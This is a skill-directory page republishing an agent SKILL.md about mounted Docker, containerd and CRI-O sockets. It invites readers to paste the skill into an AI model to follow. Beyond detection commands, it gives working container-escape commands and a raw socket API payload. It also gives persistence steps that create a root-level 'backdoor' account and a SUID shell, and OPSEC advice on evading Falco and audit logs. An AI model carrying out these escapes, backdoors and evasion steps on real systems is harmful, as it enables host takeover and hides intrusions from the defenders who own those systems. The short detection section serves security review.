Skip to content
Skillpedia
Security6.5k Β· #13989

docker-socket-mount

What it does

This skill covers a common container setup where the Docker or containerd socket is mounted inside a container, which effectively grants root on the host. It is for platform and security teams who review CI runners and GitOps tools.

When to use it

  • βœ“When a platform team asks the agent to find containers that have the Docker or containerd socket mounted.
  • βœ“When the agent reviews CI runners, GitOps controllers or Docker-in-Docker setups for this exposure.
  • βœ“When an audit report must explain why a mounted socket is a serious risk.

Skill link

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md

Copy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.

How to use

The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.

Ready-to-paste message

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/container/docker-socket-mount/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
Want your AI to find skills like this on its own?Install the free Skillpedia MCP: one line, and it searches 15,000+ skills before each task.Install in 1 minute β†’

Example of what to ask your AI

β€œDo any of our CI runner containers have the Docker socket mounted inside them?”

5 new skills a week. 1 minute to read.

How it works

The agent checks the container mounts and socket paths for each runner, reports any socket found, and explains the host-level risk.

Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Docker / Containerd Socket Mount Escape

A container with /var/run/docker.sock or /run/containerd/containerd.sock mounted in is fully equivalent to root on the host. This is one of the most common findings in CI/CD environments.

Detect

ls -la /var/run/docker.sock /run/docker.sock /var/run/containerd/containerd.sock /run/containerd/containerd.sock 2>&1 | grep -v 'No such'
mount | grep -E 'docker\.sock|containerd\.sock'
# CRI-O variant
ls -la /var/run/crio/crio.sock 2>&1

Exploit β€” Docker socket

# Launch a privileged container that mounts the host root
docker run --rm -it --privileged -v /:/host alpine chroot /host /bin/sh
# Done β€” you're root on the host.

# If `docker` binary isn't in your container, install it or talk to the API directly:
apk add docker-cli 2>/dev/null || apt-get install -y docker.io 2>/dev/null

# Or use curl on the UNIX socket:
curl --unix-socket /var/run/docker.sock -X POST -H 'Content-Type: application/json' \
  -d '{"Image":"alpine","Cmd":["chroot","/host","/bin/sh","-c","id > /host/tmp/owned"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}' \
  http://localhost/containers/create

Exploit β€” containerd socket

# ctr is the containerd CLI
ctr -a /run/containerd/containerd.sock images pull docker.io/library/alpine:latest
ctr -a /run/containerd/containerd.sock run --rm -t --privileged \
  --mount type=bind,src=/,dst=/host,options=rbind \
  docker.io/library/alpine:latest escape sh -c 'chroot /host'

# OR via crictl (often present where ctr isn't):
crictl --runtime-endpoint unix:///run/containerd/containerd.sock pull alpine
# crictl exec is more limited β€” fall back to API:
nerdctl --address /run/containerd/containerd.sock run --rm -it --privileged -v /:/host alpine chroot /host

Exploit β€” CRI-O socket

crictl --runtime-endpoint unix:///var/run/crio/crio.sock pods
# Same pattern as containerd.

Common attack contexts

Context Why the socket is mounted
Jenkins/GitLab CI runners Build Docker images inside the build container
ArgoCD / Flux Run pre-/post-sync hooks that build images
Docker-in-Docker (DinD) in K8s Same β€” build pipelines, kaniko alternatives
Diagnostic sidecars Container-level metrics/log shippers
Buildkit daemon w/ ungated rootless socket Same primitive, less restricted env

Persistence

# Inside the escaped host, drop a backdoor:
chroot /host useradd -ou 0 -g 0 -m -s /bin/bash backdoor
echo 'backdoor:plaintext' | chroot /host chpasswd
# Or grant SUID:
cp /host/bin/bash /host/tmp/.x; chroot /host chmod +s /tmp/.x

OPSEC

  • The Docker API logs every container create (/var/log/docker.log or journald). Use a benign-sounding image name.
  • Falco rules attach_drop_capability, escape_to_host_namespace flag this exactly. If Falco is present, use the long-form HTTP API call (one request) rather than docker run (multiple).
  • CRI-O auditing logs every RunPodSandbox β€” same evasion approach.

Detection (defender lens, useful for triage)

  • Pod-spec scanning (admission controllers β€” OPA Gatekeeper, Kyverno) blocks hostPath: /var/run/docker.sock at admit time.
  • Falco rule Mount docker.sock catches the runtime case.
  • AppArmor profile docker-default doesn't block this β€” needs custom profile.
FAQ

Why is a mounted socket so serious?

The skill says anyone who can talk to the socket can start a privileged container with the host's files, which equals host root.

Which setups are most common?

The skill names CI runners, ArgoCD and Flux controllers, Docker-in-Docker and Jenkins agents.

What should be done about it?

The skill points to removing the mount or using safer build tools, and the team decides the fix.

Details

Original description by the author

Docker / containerd socket mounted into a container β†’ host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via `docker run --rm --privileged -v /:/host alpine chroot /host`.

repo: BitterSecurity/Decepticon

Popularity

GitHub stars
6.5k
Ranking position
#13989
License
Apache-2.0
Updated
11/1/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills